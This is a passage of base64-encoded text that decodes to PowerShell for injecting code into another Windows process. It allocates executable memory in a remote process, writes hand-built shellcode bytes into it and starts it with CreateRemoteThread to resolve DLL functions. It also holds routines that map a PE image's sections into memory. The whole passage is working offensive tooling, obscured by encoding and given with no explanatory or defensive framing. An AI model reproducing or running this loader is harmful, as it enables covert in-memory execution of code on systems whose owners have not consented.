LVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRMb2FkTGlicmFyeVNDMi5MZW5ndGgpCgkJ CVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRy KCRMb2FkTGlicmFyeUFBZGRyLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkkU0NQU01lbSA9IEFkZC1T aWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQkJV3JpdGUtQnl0ZXNUb01l bW9yeSAtQnl0ZXMgJExvYWRMaWJyYXJ5U0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCSRT Q1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRMb2FkTGlicmFyeVND My5MZW5ndGgpCgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0 cnVjdHVyZVRvUHRyKCRMb2FkTGlicmFyeUFSZXRNZW0sICRTQ1BTTWVtLCAkZmFsc2UpCgkJCSRT Q1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCQlX cml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkTG9hZExpYnJhcnlTQzQgLU1lbW9yeUFkZHJlc3Mg JFNDUFNNZW0KCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAo JExvYWRMaWJyYXJ5U0M0Lkxlbmd0aCkKCgkJCQoJCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9u cy5WaXJ0dWFsQWxsb2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJv LCBbVUludFB0cl1bVUludDY0XSRTQ0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQg LWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VY RUNVVEVfUkVBRFdSSVRFKQoJCQlpZiAoJFJTQ0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCQl7 CgkJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nl c3MgZm9yIHNoZWxsY29kZSIKCQkJfQoJCQkKCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMu V3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRT Q1BTTWVtT3JpZ2luYWwsIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRl c1dyaXR0ZW4pCgkJCWlmICgoJFN1Y2Nlc3MgLWVxICRmYWxzZSkgLW9yIChbVUludDY0XSROdW1C eXRlc1dyaXR0ZW4gLW5lIFtVSW50NjRdJFNDTGVuZ3RoKSkKCQkJewoJCQkJVGhyb3cgIlVuYWJs ZSB0byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5LiIKCQkJfQoJCQkK CQkJJFJUaHJlYWRIYW5kbGUgPSBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFu ZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1TdGFydEFkZHJlc3MgJFJTQ0FkZHIgLVdpbjMyRnVuY3Rp b25zICRXaW4zMkZ1bmN0aW9ucwoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JT aW5nbGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkKCQkJaWYgKCRSZXN1bHQg LW5lIDApCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxs IEdldFByb2NBZGRyZXNzIGZhaWxlZC4iCgkJCX0KCQkJCgoJCQlbSW50UHRyXSRSZXR1cm5WYWxN ZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9i YWwoJFB0clNpemUpCgkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuUmVhZFByb2Nlc3NNZW1v cnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkTG9hZExpYnJhcnlBUmV0TWVtLCAkUmV0dXJu VmFsTWVtLCBbVUludFB0cl1bVUludDY0XSRQdHJTaXplLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4p CgkJCWlmICgkUmVzdWx0IC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIFJlYWRQ cm9jZXNzTWVtb3J5IGZhaWxlZCIKCQkJfQoJCQlbSW50UHRyXSREbGxBZGRyZXNzID0gW1N5c3Rl bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFJldHVy blZhbE1lbSwgW1R5cGVdW0ludFB0cl0pCgoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVF eC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRMb2FkTGlicmFyeUFSZXRNZW0sIFtVSW50UHRy XVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJCSRX aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJT Q0FkZHIsIFtVSW50UHRyXVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8 IE91dC1OdWxsCgkJfQoJCWVsc2UKCQl7CgkJCVtJbnRQdHJdJFJUaHJlYWRIYW5kbGUgPSBJbnZv a2UtQ3JlYXRlUmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1T dGFydEFkZHJlc3MgJExvYWRMaWJyYXJ5QUFkZHIgLWZ1bmMxMjQgJFJJbXBvcnREbGxQYXRoUHRy IC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMKCQkJJFJlc3VsdCA9ICRXaW4zMkZ1bmN0 aW9ucy5XYWl0Rm9yU2luZ2xlT2JqZWN0Lkludm9rZSgkUlRocmVhZEhhbmRsZSwgMjAwMDApCgkJ CWlmICgkUmVzdWx0IC1uZSAwKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBDcmVhdGVSZW1vdGVU aHJlYWQgdG8gY2FsbCBHZXRQcm9jQWRkcmVzcyBmYWlsZWQuIgoJCQl9CgkJCQoJCQlbSW50MzJd JEV4aXRDb2RlID0gMAoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLkdldEV4aXRDb2RlVGhy ZWFkLkludm9rZSgkUlRocmVhZEhhbmRsZSwgW1JlZl0kRXhpdENvZGUpCgkJCWlmICgoJFJlc3Vs dCAtZXEgMCkgLW9yICgkRXhpdENvZGUgLWVxIDApKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBH ZXRFeGl0Q29kZVRocmVhZCBmYWlsZWQiCgkJCX0KCQkJCgkJCVtJbnRQdHJdJERsbEFkZHJlc3Mg PSBbSW50UHRyXSRFeGl0Q29kZQoJCX0KCQkKCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVF eC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwgW1VJbnRQdHJd W1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwKCQkKCQly ZXR1cm4gJERsbEFkZHJlc3MKCX0KCQoJCglGdW5jdGlvbiBHZXQtUmVtb3RlUHJvY0FkZHJlc3MK CXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9yeT0kdHJ1ZSldCgkJ W0ludFB0cl0KCQkkUmVtb3RlUHJvY0hhbmRsZSwKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTEs IE1hbmRhdG9yeT0kdHJ1ZSldCgkJW0ludFB0cl0KCQkkUmVtb3RlRGxsSGFuZGxlLAoJCQoJCVtQ YXJhbWV0ZXIoUG9zaXRpb249MiwgTWFuZGF0b3J5PSR0cnVlKV0KCQlbU3RyaW5nXQoJCSRGdW5j dGlvbk5hbWUKCQkpCgoJCSRQdHJTaXplID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNl cy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQoJCSRGdW5jdGlvbk5hbWVQdHIgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxB bnNpKCRGdW5jdGlvbk5hbWUpCgkJCgoJCSRGdW5jdGlvbk5hbWVTaXplID0gW1VJbnRQdHJdW1VJ bnQ2NF0oW1VJbnQ2NF0kRnVuY3Rpb25OYW1lLkxlbmd0aCArIDEpCgkJJFJGdW5jTmFtZVB0ciA9 ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUs IFtJbnRQdHJdOjpaZXJvLCAkRnVuY3Rpb25OYW1lU2l6ZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9D T01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5Q QUdFX1JFQURXUklURSkKCQlpZiAoJFJGdW5jTmFtZVB0ciAtZXEgW0ludFB0cl06Olplcm8pCgkJ ewoJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nl c3MiCgkJfQoKCQlbVUludFB0cl0kTnVtQnl0ZXNXcml0dGVuID0gW1VJbnRQdHJdOjpaZXJvCgkJ JFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVt b3RlUHJvY0hhbmRsZSwgJFJGdW5jTmFtZVB0ciwgJEZ1bmN0aW9uTmFtZVB0ciwgJEZ1bmN0aW9u TmFtZVNpemUsIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikKCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv cFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkRnVuY3Rpb25OYW1lUHRyKQoJCWlmICgk U3VjY2VzcyAtZXEgJGZhbHNlKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBETEwgcGF0 aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiCgkJfQoJCWlmICgkRnVuY3Rpb25OYW1lU2l6ZSAt bmUgJE51bUJ5dGVzV3JpdHRlbikKCQl7CgkJCVRocm93ICJEaWRuJ3Qgd3JpdGUgdGhlIGV4cGVj dGVkIGFtb3VudCBvZiBieXRlcyB3aGVuIHdyaXRpbmcgYSBETEwgcGF0aCB0byBsb2FkIHRvIHRo ZSByZW1vdGUgcHJvY2VzcyIKCQl9CgkJCgoJCSRLZXJuZWwzMkhhbmRsZSA9ICRXaW4zMkZ1bmN0 aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCJrZXJuZWwzMi5kbGwiKQoJCSRHZXRQcm9jQWRk cmVzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwz MkhhbmRsZSwgIkdldFByb2NBZGRyZXNzIikgI0tlcm5lbDMyIGxvYWRlZCB0byB0aGUgc2FtZSBh ZGRyZXNzIGZvciBhbGwgcHJvY2Vzc2VzCgoJCQoKCQkkR2V0UHJvY0FkZHJlc3NSZXRNZW0gPSAk V2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBb SW50UHRyXTo6WmVybywgW1VJbnQ2NF1bVUludDY0XSRQdHJTaXplLCAkV2luMzJDb25zdGFudHMu TUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3Rh bnRzLlBBR0VfUkVBRFdSSVRFKQoJCWlmICgkR2V0UHJvY0FkZHJlc3NSZXRNZW0gLWVxIFtJbnRQ dHJdOjpaZXJvKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1vcnkgaW4gdGhl IHJlbW90ZSBwcm9jZXNzIGZvciB0aGUgcmV0dXJuIHZhbHVlIG9mIEdldFByb2NBZGRyZXNzIgoJ CX0KCQkKCQkKCgoKCQlbQnl0ZVtdXSRHZXRQcm9jQWRkcmVzc1NDID0gQCgpCgkJaWYgKCRQRUlu Zm8uUEU2NEJpdCAtZXEgJHRydWUpCgkJewoJCQkkR2V0UHJvY0FkZHJlc3NTQzEgPSBAKDB4NTMs IDB4NDgsIDB4ODksIDB4ZTMsIDB4NDgsIDB4ODMsIDB4ZWMsIDB4MjAsIDB4NjYsIDB4ODMsIDB4 ZTQsIDB4YzAsIDB4NDgsIDB4YjkpCgkJCSRHZXRQcm9jQWRkcmVzc1NDMiA9IEAoMHg0OCwgMHhi YSkKCQkJJEdldFByb2NBZGRyZXNzU0MzID0gQCgweDQ4LCAweGI4KQoJCQkkR2V0UHJvY0FkZHJl c3NTQzQgPSBAKDB4ZmYsIDB4ZDAsIDB4NDgsIDB4YjkpCgkJCSRHZXRQcm9jQWRkcmVzc1NDNSA9 IEAoMHg0OCwgMHg4OSwgMHgwMSwgMHg0OCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykKCQl9CgkJ ZWxzZQoJCXsKCQkJJEdldFByb2NBZGRyZXNzU0MxID0gQCgweDUzLCAweDg5LCAweGUzLCAweDgz LCAweGU0LCAweGMwLCAweGI4KQoJCQkkR2V0UHJvY0FkZHJlc3NTQzIgPSBAKDB4YjkpCgkJCSRH ZXRQcm9jQWRkcmVzc1NDMyA9IEAoMHg1MSwgMHg1MCwgMHhiOCkKCQkJJEdldFByb2NBZGRyZXNz U0M0ID0gQCgweGZmLCAweGQwLCAweGI5KQoJCQkkR2V0UHJvY0FkZHJlc3NTQzUgPSBAKDB4ODks IDB4MDEsIDB4ODksIDB4ZGMsIDB4NWIsIDB4YzMpCgkJfQoJCSRTQ0xlbmd0aCA9ICRHZXRQcm9j QWRkcmVzc1NDMS5MZW5ndGggKyAkR2V0UHJvY0FkZHJlc3NTQzIuTGVuZ3RoICsgJEdldFByb2NB ZGRyZXNzU0MzLkxlbmd0aCArICRHZXRQcm9jQWRkcmVzc1NDNC5MZW5ndGggKyAkR2V0UHJvY0Fk ZHJlc3NTQzUuTGVuZ3RoICsgKCRQdHJTaXplICogNCkKCQkkU0NQU01lbSA9IFtTeXN0ZW0uUnVu dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkU0NMZW5ndGgpCgkJ JFNDUFNNZW1PcmlnaW5hbCA9ICRTQ1BTTWVtCgkJCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0 ZXMgJEdldFByb2NBZGRyZXNzU0MxIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0g PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0MxLkxl bmd0aCkKCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1 cmVUb1B0cigkUmVtb3RlRGxsSGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQoJCSRTQ1BTTWVtID0g QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCVdyaXRlLUJ5dGVz VG9NZW1vcnkgLUJ5dGVzICRHZXRQcm9jQWRkcmVzc1NDMiAtTWVtb3J5QWRkcmVzcyAkU0NQU01l bQoJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRHZXRQcm9j QWRkcmVzc1NDMi5MZW5ndGgpCgkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz aGFsXTo6U3RydWN0dXJlVG9QdHIoJFJGdW5jTmFtZVB0ciwgJFNDUFNNZW0sICRmYWxzZSkKCQkk U0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQlX cml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkR2V0UHJvY0FkZHJlc3NTQzMgLU1lbW9yeUFkZHJl c3MgJFNDUFNNZW0KCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVt ICgkR2V0UHJvY0FkZHJlc3NTQzMuTGVuZ3RoKQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy dmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRHZXRQcm9jQWRkcmVzc0FkZHIsICRTQ1BT TWVtLCAkZmFsc2UpCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01l bSAoJFB0clNpemUpCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJEdldFByb2NBZGRyZXNz U0M0IC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV bnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0M0Lkxlbmd0aCkKCQlbU3lzdGVtLlJ1 bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkR2V0UHJvY0Fk ZHJlc3NSZXRNZW0sICRTQ1BTTWVtLCAkZmFsc2UpCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50 QXNVbnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0 ZXMgJEdldFByb2NBZGRyZXNzU0M1IC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0g PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0M1Lkxl bmd0aCkKCQkKCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2NFeC5JbnZv a2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJvLCBbVUludFB0cl1bVUludDY0XSRT Q0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMu TUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKQoJCWlm ICgkUlNDQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiVW5hYmxlIHRvIGFs bG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHNoZWxsY29kZSIKCQl9CgkJ CgkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgk UmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRTQ1BTTWVtT3JpZ2luYWwsIFtVSW50UHRyXVtV SW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4pCgkJaWYgKCgkU3VjY2VzcyAt ZXEgJGZhbHNlKSAtb3IgKFtVSW50NjRdJE51bUJ5dGVzV3JpdHRlbiAtbmUgW1VJbnQ2NF0kU0NM ZW5ndGgpKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3Rl IHByb2Nlc3MgbWVtb3J5LiIKCQl9CgkJCgkJJFJUaHJlYWRIYW5kbGUgPSBJbnZva2UtQ3JlYXRl UmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1TdGFydEFkZHJl c3MgJFJTQ0FkZHIgLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucwoJCSRSZXN1bHQgPSAk V2luMzJGdW5jdGlvbnMuV2FpdEZvclNpbmdsZU9iamVjdC5JbnZva2UoJFJUaHJlYWRIYW5kbGUs IDIwMDAwKQoJCWlmICgkUmVzdWx0IC1uZSAwKQoJCXsKCQkJVGhyb3cgIkNhbGwgdG8gQ3JlYXRl UmVtb3RlVGhyZWFkIHRvIGNhbGwgR2V0UHJvY0FkZHJlc3MgZmFpbGVkLiIKCQl9CgkJCgoJCVtJ bnRQdHJdJFJldHVyblZhbE1lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFy c2hhbF06OkFsbG9jSEdsb2JhbCgkUHRyU2l6ZSkKCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25z LlJlYWRQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJEdldFByb2NBZGRy ZXNzUmV0TWVtLCAkUmV0dXJuVmFsTWVtLCBbVUludFB0cl1bVUludDY0XSRQdHJTaXplLCBbUmVm XSROdW1CeXRlc1dyaXR0ZW4pCgkJaWYgKCgkUmVzdWx0IC1lcSAkZmFsc2UpIC1vciAoJE51bUJ5 dGVzV3JpdHRlbiAtZXEgMCkpCgkJewoJCQlUaHJvdyAiQ2FsbCB0byBSZWFkUHJvY2Vzc01lbW9y eSBmYWlsZWQiCgkJfQoJCVtJbnRQdHJdJFByb2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLklu dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFJldHVyblZhbE1lbSwgW1R5 cGVdW0ludFB0cl0pCgoJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVt b3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsIFtVSW50UHRyXVtVSW50NjRdMCwgJFdpbjMyQ29uc3Rh bnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVl RXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUkZ1bmNOYW1lUHRyLCBbVUludFB0cl1bVUlu dDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkgfCBPdXQtTnVsbAoJCSRXaW4zMkZ1 bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJEdldFByb2NB ZGRyZXNzUmV0TWVtLCBbVUludFB0cl1bVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVM RUFTRSkgfCBPdXQtTnVsbAoJCQoJCXJldHVybiAkUHJvY0FkZHJlc3MKCX0KCgoJRnVuY3Rpb24g Q29weS1TZWN0aW9ucwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5k YXRvcnkgPSAkdHJ1ZSldCgkJW0J5dGVbXV0KCQkkUEVCeXRlcywKCQkKCQlbUGFyYW1ldGVyKFBv c2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRQRUlu Zm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlb U3lzdGVtLk9iamVjdF0KCQkkV2luMzJGdW5jdGlvbnMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlv biA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJUeXBl cwoJCSkKCQkKCQlmb3IoICRpID0gMDsgJGkgLWx0ICRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5G aWxlSGVhZGVyLk51bWJlck9mU2VjdGlvbnM7ICRpKyspCgkJewoJCQlbSW50UHRyXSRTZWN0aW9u SGVhZGVyUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJ bmZvLlNlY3Rpb25IZWFkZXJQdHIpICgkaSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vydmlj ZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9TRUNUSU9OX0hFQURF UikpKQoJCQkkU2VjdGlvbkhlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu TWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRTZWN0aW9uSGVhZGVyUHRyLCBbVHlwZV0kV2luMzJU eXBlcy5JTUFHRV9TRUNUSU9OX0hFQURFUikKCQkKCgkJCVtJbnRQdHJdJFNlY3Rpb25EZXN0QWRk ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhh bmRsZSkgKFtJbnQ2NF0kU2VjdGlvbkhlYWRlci5WaXJ0dWFsQWRkcmVzcykpCgkJCQoKCgoKCQkJ JFNpemVPZlJhd0RhdGEgPSAkU2VjdGlvbkhlYWRlci5TaXplT2ZSYXdEYXRhCgoJCQlpZiAoJFNl Y3Rpb25IZWFkZXIuUG9pbnRlclRvUmF3RGF0YSAtZXEgMCkKCQkJewoJCQkJJFNpemVPZlJhd0Rh dGEgPSAwCgkJCX0KCQkJCgkJCWlmICgkU2l6ZU9mUmF3RGF0YSAtZ3QgJFNlY3Rpb25IZWFkZXIu VmlydHVhbFNpemUpCgkJCXsKCQkJCSRTaXplT2ZSYXdEYXRhID0gJFNlY3Rpb25IZWFkZXIuVmly dHVhbFNpemUKCQkJfQoJCQkKCQkJaWYgKCRTaXplT2ZSYXdEYXRhIC1ndCAwKQoJCQl7CgkJCQlU ZXN0LU1lbW9yeVJhbmdlVmFsaWQgLURlYnVnU3RyaW5nICJDb3B5LVNlY3Rpb25zOjpNYXJzaGFs Q29weSIgLVBFSW5mbyAkUEVJbmZvIC1TdGFydEFkZHJlc3MgJFNlY3Rpb25EZXN0QWRkciAtU2l6 ZSAkU2l6ZU9mUmF3RGF0YSB8IE91dC1OdWxsCgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl cnZpY2VzLk1hcnNoYWxdOjpDb3B5KCRQRUJ5dGVzLCBbSW50MzJdJFNlY3Rpb25IZWFkZXIuUG9p bnRlclRvUmF3RGF0YSwgJFNlY3Rpb25EZXN0QWRkciwgJFNpemVPZlJhd0RhdGEpCgkJCX0KCQkK CgkJCWlmICgkU2VjdGlvbkhlYWRlci5TaXplT2ZSYXdEYXRhIC1sdCAkU2VjdGlvbkhlYWRlci5W aXJ0dWFsU2l6ZSkKCQkJewoJCQkJJERpZmZlcmVuY2UgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFs U2l6ZSAtICRTaXplT2ZSYXdEYXRhCgkJCQlbSW50UHRyXSRTdGFydEFkZHJlc3MgPSBbSW50UHRy XShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRTZWN0aW9uRGVzdEFkZHIpIChbSW50 NjRdJFNpemVPZlJhd0RhdGEpKQoJCQkJVGVzdC1NZW1vcnlSYW5nZVZhbGlkIC1EZWJ1Z1N0cmlu ZyAiQ29weS1TZWN0aW9uczo6TWVtc2V0IiAtUEVJbmZvICRQRUluZm8gLVN0YXJ0QWRkcmVzcyAk U3RhcnRBZGRyZXNzIC1TaXplICREaWZmZXJlbmNlIHwgT3V0LU51bGwKCQkJCSRXaW4zMkZ1bmN0 aW9ucy5tZW1zZXQuSW52b2tlKCRTdGFydEFkZHJlc3MsIDAsIFtJbnRQdHJdJERpZmZlcmVuY2Up IHwgT3V0LU51bGwKCQkJfQoJCX0KCX0KCgoJRnVuY3Rpb24gVXBkYXRlLU1lbW9yeUFkZHJlc3Nl cwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1 ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFBFSW5mbywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9u ID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkT3JpZ2luYWxJbWFnZUJhc2Us 